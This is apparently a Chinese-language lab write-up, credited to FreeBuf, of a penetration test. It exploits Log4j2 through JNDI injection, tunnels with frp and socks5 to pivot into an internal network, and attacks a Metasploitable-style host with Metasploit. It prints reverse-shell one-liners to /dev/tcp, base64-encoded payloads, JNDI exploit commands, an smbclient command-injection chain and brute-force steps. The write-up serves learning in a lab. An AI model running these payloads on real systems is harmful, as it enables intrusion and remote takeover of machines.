接着我更换了kali java版本为jdk8(更换方法),然后使用ldap协议,且JNDI注入工具的java包路径为绝对路径。经过测试,JNDI注入工具正常了,但是无法接收到shell的连接。
a.构造bash反弹shell的命令:bash -i >& /dev/tcp/192.168.0.193/4848 0>&1=》base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==》完整的JNDI工具注入语句:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTkzLzQ4NDggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.193
b.构造payload2=》${jndi:rmi://192.168.0.193:1099/a7x5hi}=》ubuntu(192.168.0.193)开启4848端口监听=》将payload2进行payload进行url编码后给payload字段传参
c.已经成功的连接到了docker容器的shell。
d.构造payload1 bash反弹shell=》bash -i >& /dev/tcp/192.168.0.156/4848 0>&1=》base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzQ4NDggMD4mMQ===》完整的JNDI工具注入语句:java -jar /home/apachelog4j2/Apache-Log4j-Learning-main/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU2LzgwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.156
e.运行构造payload2:${jndi:ldap://192.168.0.156:1389/uzzvbb}
f.kali开启4848端口监听
g.将payload2进行url编码给get请求中的payload赋值,放包
h.很遗憾还是没有连接到shell。
i.最后才反应过来,这个log4j2漏洞网页的漏洞是我在ubuntu的docker部署的,因为网段不一样是无法访问我kali主机的。
j.只能放弃了,那么现在就把shell反弹给ubuntu吧。
获取了ubuntu的shell,接下来我们就需要开始内网穿透了,扫描其内网的存活设备,并获得其shell
因为已经获取了shell,使用ifconfig命令就可以知道ip信息。
1.可以看到存在两个网卡,一个网卡的网段是192.168.0.0/24 另一个网段是10.1.1.0/24。扫描网段10.1.1.0/24这个网段的信息,来实现内网横向移动。
2.首先我们要借用ubuntu扫描内网,因此需要与ubuntu建立隧道。(frp下载链接)
3.vps配置服务端frp(vim /frps.in)和开启(./frps -c ./frps.ini)
4.ubuntu客户端配置frp(vim /frpc.ini)和运行(./frpc -c ./frpc.ini)
server_addr = 43.142.*.* #用于服务端的(vps)ip
server_port = 7000 #服务端(vps)监听的端口
[ssh] #
type = tcp #ssh连接的通信协议为tcp
local_ip = 127.0.0.1#ssh连接的ip
local_port = 22 #ssh连接的端口
remote_port = 8082#用于转发ssh端口的服务器(vps)端口,就是说只要访问 vps 8082端口就是在访问frp客户端的22端口。
[socks5]
type=tcp #socks5通信的协议
remote_port=8888#socks5的端口
plugin=socks5#指定了使用socks5插件
5.然后把这个配置好的客户端发送给ubuntu并启动。这里就使用用msf。
启用msf,并监听之前上传木马的端口8000并且运行木马文件.
运行frp客户端。
6.到这里呢。vps与ubuntu隧道已经建立完毕。现在使用proxychains+nmap扫描内网。
为了简单,这里我已经知道10.1.1.2的主机就是我们的靶机。就直接对这个主机进行渗透。
a.系统信息:proxychins nmap -O 10.1.1.2
b.端口开放情况(好像只能使用tcp全连接扫描,如果用其他(半开扫描、ACK扫描、UDP扫描等等)都会扫描不到端口。因为socks代理不支持ICMP、ARP等网络层的协议,但是有点不理解为啥半开扫描也不行):proxychins nmap -p- 10.1.1.2 2>&1 |grep 'OK'
c.接下来都使用msf来进行渗透,首先把msf添加到代理中。
d.setg Prompt socks5:43.142.*.*:8888(vps服务器ip和socks5端口,用setgproxies socks:socks5:43.142.*.*8888这个命令进行msf代理,前面的那个prompt是个提示符) setg ReverseAllowProxy true(允许反向连接,提高链接的稳定性)
e.proxychains配置
f.使用proxychains+nmap扫描内网存活主机
g.对10.1.1.2ip的信息收集
到这里呢,我已经把msf连接到了内网(通过socks5代理),接下来根据端口号进行渗透。
1.ftp(21)
auxiliary/scanner/ftp/anonymous(探测ftp是否允许匿名登录),没有结果。。但是能看到服务版本是2.3.4.
寻找ftp2.3.4版本的漏洞,然后使用这个漏洞exploit/unix/ftp/proftpd_133c_backdoor(在未经身份验证的情况下获取 root 权限)
到此成功利用ftp漏洞获取了靶机的shell。
2.ssh(22)
探测ssh版本信息(auxiliary/scanner/ssh/ssh_version)
针对版本4.7漏洞,找到了一些,但是尝试,有的需要的东西太繁琐了,有的失败了,这里还是爆破吧(一样这里已知用户msfadmin):auxiliary/scanner/ssh/ssh_login
知道了用户名msfadmin密码msfadmin,当然也可以尝试爆破root,至于提权最后再尝试,知道了ssh的用户名和密码就可以登录shell了。
3.23(talent)
主要就是爆破用户名密码的,就不尝试了。
4.25(smtp),这个协议简单了解了下,没找到具体能渗透啥的。
5.53(DNS)收集信息,或者其他的利用
6.80(http),访问网页后再看,因为这是内网的,所以需要给浏览器设置代理,因为我是用的bp自带的浏览器,所以对bp进行设置就可以了。
就以第一个测试吧
其他的漏洞就不尝试了。
抓取主页的请求包
执行远程代码
allow_url_include=on:允许include和require语句中使用URL路径
auto_prepend_file=php://input:PHP会将HTTP请求体作为一个文件读取,并将其作为自动包含的文件
:执行whoami和ls命令
解释下
了解CVE-2012-2311漏洞,执行远程代码
这里的漏洞,就不去手动测了,直接用awvs扫。这里的8090端口是我给10.1.1.2 80端口进行的端口转发,具体的frp客户端的配置
7.111(RPC)找了些漏洞,但是我实测只有个ddos攻击CVE-2017-8779,没找到其他的。
8.139(SMB)首先使用辅助模块扫描下smb的版本信息:auxiliary/scanner/smb/smb_version
使用cve-2007-2447
发现这里要设置源主机和端口,直接监听9797端口。但是这里有个问题,我们的反弹shell的ip只能是ubuntu,因为其他的ip,靶机是访问不到的,这里可以直接用ubuntu来监听的,因为已经获取了ubuntu的shell,但是我想要kali来监听,想了下,能否可以用端口转发,把ubuntu的9797端口转发到vps的9797端口,然后监听vps的9797端口!。(末尾有解决办法!!!)
然而想法是美好的,但总是出幺蛾子,直接绑定失败,给我验证的机会都没,经过尝试只有运行msf的kali ip才能绑定上。哪怕我把ip为靶机同一网段的ip也不行,真是怪。(末尾有解决办法!!!)
至于其他漏洞都差不多,绑定失败
那么这个cve就直接利用不了啊,因为你靶机的shell只能反弹给192.168.0.193(ubuntu)和10.1.1.0/24的主机,与其他pc是通信不了的,然后想手动注入,查到了手动注入代码为(执行 whoami 命令):smbclient -U " " -N -L "\\target_ip\share_name" -c "echo \"[global]\" > /tmp/smb.conf && echo \"path = /tmp\" >> /tmp/smb.conf && echo \"writeable = yes\" >> /tmp/smb.conf && echo \"guest ok = yes\" >> /tmp/smb.conf && echo \"[tmp]\" >> /tmp/smb.conf && echo \"path = /tmp\" >> /tmp/smb.conf && echo \"writeable = yes\" >> /tmp/smb.conf && echo \"guest ok = yes\" >> /tmp/smb.conf && smbclient //target_ip/tmp -U \"\" -N -c \"put /bin/sh /tmp/sh && chmod +x /tmp/sh\" && smbclient //target_ip/tmp -U \"\" -N -c \"/tmp/sh -c 'whoami'\"
但是执行失败。
默认扫描的是445端口,算了就这样吧,发现扫描到了samba 3.0.20的版本,那么寻找这个版本的漏洞。
只能用端口爆破密码,这个就不演示了。
9.445端口(smb)就不说了,至于512、513、514这三个端口是rsh系列。在系统之后被错误配置从而允许远程访问者从任何地方访问。首先rexec协议已经被大部分操作系统和网络设备所禁用,其次kali还要安装,就不尝试了。
10.1099(Java RMI 服务的注册表),找到了:exploit/multi/misc/java_rmi_server模块,但是一样用不了
11.1524(metasploit root shell),直接拿netcat连接即可
12.2049(这个与111端口一样都是nsf,是一种分布式文件系统协议),但是这里我连使用:auxiliary/scanner/nfs/nfsmount模块去验证都验证不了,具体的的攻击就不尝试了。
13.2121(Java语言开发的FTP服务器软件),查了下存在目录遍历漏洞,但是遍历的前提是进行用户登录,所以也就只有个端口爆破密码了
14.3306(mysql)可以尝试爆破用户密码。
15.3632(Distcc Daemon默认的监听端口,用于接收来自Distcc客户端的连接请求):使用 exploit/unix/misc/distcc_exec就可以远程执行任意命令。但是一样无法设置反弹shell的监听ip,只能作罢。
16.5432(postgresql),端口爆破。
17.5900(VNC远程桌面协议的默认端口)可以爆破。
18.6000(是一种基于客户端/服务器架构的图形化界面系统,也称为X Window系统。它可以让用户通过网络远程访问和控制其他计算机的图形化界面)。好像也只能爆破。。
19.6667、6697 (IRC(Internet Relay Chat)协议的默认端口,用于提供在线聊天服务):exploit/unix/irc/unreal_ircd_3281_backdoor,同样无法无法设置反弹shell的监听ip,只能作罢。
20.8009(Apache Tomcat应用服务器的默认AJP(Apache JServ Protocol)连接端口) :exploit/multi/http/tomcat_mgr_deploy,测试失败
21.8180,msf的端口和nmap都没扫出来是什么服务。
22.8787(Java Debug Wire Protocol(JDWP)的默认端口,用于Java应用程序的远程调试和监控):exploit/multi/misc/java_jdwp_debugger,发现需要反向连接,监听的ip又绑定不了。。
到此呢,这个内网渗透算结束了,总结下吧。
1.这整个做下来发现msf好多的反弹shell都不能使用,还是对msf不够了解(其实尝试许多方法,也查了下资料说msf使用socks5有bug,但是呢发现frp使用socks4报错[socks4] start error: plugin [socks4] is not registered,可能是不支持还是啥的)。
2.懂得东西的太少了,以至于每接收到一个陌生的词汇、知识点,就要去了解,还好有个chatgpt(简直就是全能的咨询师)。
这个是我后补充的(反弹shell失败的解决办法):
之前那些反向shell,不是接收不到吗,经过尝试得知原因是因为setg proxies socks:socks5:43.142.*.*:8888这个代理可能存在问题,直接使用proxychins启动msf就可以解决这个问题(proxychins msfdb run).还有上面的那个把监听到的shell不是反弹给ubuntu了吗,我说我想把这个监听的端口进行转发,然后kali去监听这个端口(nc -lvp ),这个好像是不行的。所以只能把这个Lhosts设为10.1.1.1,因为其他的ip,靶机它访问不到,所以说我之前设置为192.168.0.193是错误的,当然可以在靶机上设置个静态路由(sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.0.193)具体操作:
proxychins启动msf
使用:exploit/multi/samba/usermap_script模块,并配置需要的配置。
ubuntu监听10.1.1.1 9797端口,并且msf run
这里如果实在想把这个shell反弹给vps,可以尝试下把ubuntu和靶机建立隧道,这样靶机的流量就可以从ubuntu端出去,从而可以访问vps、访问外网。
本文作者:Moonoon, 转载请注明来自FreeBuf.COM